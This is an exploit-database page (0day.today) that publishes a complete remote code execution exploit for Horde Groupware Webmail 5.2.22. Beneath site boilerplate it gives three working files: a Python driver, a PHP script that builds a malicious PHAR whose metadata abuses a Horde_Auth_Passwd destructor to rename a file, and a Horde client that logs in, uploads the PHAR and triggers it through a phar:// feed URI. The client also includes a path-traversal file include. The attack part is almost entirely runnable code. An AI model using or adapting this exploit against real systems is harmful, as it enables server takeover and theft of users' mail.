0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Horde Groupware Webmail Edition 5.2.22 - PHAR Loading Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## exploit-phar-loading.py #!/usr/bin/env python3 from horde import Horde import requests import subprocess import sys TEMP_DIR = '/tmp' WWW_ROOT = '/var/www/html' if len(sys.argv) < 5: print('Usage: <base_url> <username> <password> <filename> <php_code>') sys.exit(1) base_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] filename = sys.argv[4] php_code = sys.argv[5] source = '{}/{}.phar'.format(TEMP_DIR, filename) destination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually) temp = 'temp.phar' url = '{}/static/{}.php'.format(base_url, filename) # log into the web application horde = Horde(base_url, username, password) # create a PHAR that performs a rename when loaded and runs the payload when executed subprocess.run([ 'php', 'create-renaming-phar.php', temp, source, destination, php_code ], stderr=subprocess.DEVNULL) # upload the PHAR with open(temp, 'rb') as fs: phar_data = fs.read() horde.upload_to_tmp('{}.phar'.format(filename), phar_data) # load the phar thus triggering the rename horde.trigger_phar(source) # issue a request to trigger the payload response = requests.get(url) print(response.text) ## exploit-phar-loading.py EOF ## create-renaming-phar.php #!/usr/bin/env php <?php // the __destruct method of Horde_Auth_Passwd eventually calls // rename($this->_lockfile, $this->_params['filename']) if $this->_locked class Horde_Auth_Passwd { // visibility must match since protected members are prefixed by "\x00*\x00" protected $_locked; protected $_params; function __construct($source, $destination) { $this->_params = array('filename' => $destination); $this->_locked = true; $this->_lockfile = $source; } }; function createPhar($path, $source, $destination, $stub) { // create the object and specify source and destination files $object = new Horde_Auth_Passwd($source, $destination); // create the PHAR $phar = new Phar($path); $phar->startBuffering(); $phar->addFromString('x', ''); $phar->setStub("<?php $stub __HALT_COMPILER();"); $phar->setMetadata($object); $phar->stopBuffering(); } function main() { global $argc, $argv; // check arguments if ($argc != 5) { fwrite(STDERR, "Usage: <path> <source> <destination> <stub>\n"); exit(1); } // create a fresh new phar $path = $argv[1]; $source = $argv[2]; $destination = $argv[3]; $stub = $argv[4]; @unlink($path); createPhar($path, $source, $destination, $stub); } main(); ## create-renaming-phar.php EOF ## horde.py import re import requests class Horde(): def __init__(self, base_url, username, password): self.base_url = base_url self.username = username self.password = password self.session = requests.session() self.token = None self._login() def _login(self): url = '{}/login.php'.format(self.base_url) data = { 'login_post': 1, 'horde_user': self.username, 'horde_pass': self.password } response = self.session.post(url, data=data) token_match = re.search(r'"TOKEN":"([^"]+)"', response.text) assert ( len(response.history) == 1 and response.history[0].status_code == 302 and response.history[0].headers['location'] == '/services/portal/' and token_match ), 'Cannot log in' self.token = token_match.group(1) def upload_to_tmp(self, filename, data): url = '{}/turba/add.php'.format(self.base_url) files = { 'object[photo][img][file]': (None, filename), 'object[photo][new]': ('x', data) } response = self.session.post(url, files=files) assert response.status_code == 200, 'Cannot upload the file to tmp' def include_remote_inc_file(self, path): # vulnerable block (alternatively 'trean:trean_Block_Mostclicked') app = 'trean:trean_Block_Bookmarks' # add one dummy bookmark (to be sure) url = '{}/trean/add.php'.format(self.base_url) data = { 'actionID': 'add_bookmark', 'url': 'x' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark' # add bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark block' # edit bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[template]': '../../../../../../../../../../../' + path } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the bookmark block' # evaluate the remote file url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) print(response.text) # remove the bookmark block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the bookmark block' def trigger_phar(self, path): # vulnerable block (alternatively the same can be obtained by creating a # bookmark with the PHAR path and clocking on it) app = 'horde:horde_Block_Feed' # add syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the syndicated feed block' # edit syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[uri]': 'phar://{}'.format(path) } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the syndicated feed block' # load the PHAR archive url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) # remove the syndicated feed block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the syndicated feed block' ## horde.py EOF # 0day.today [2024-12-24] #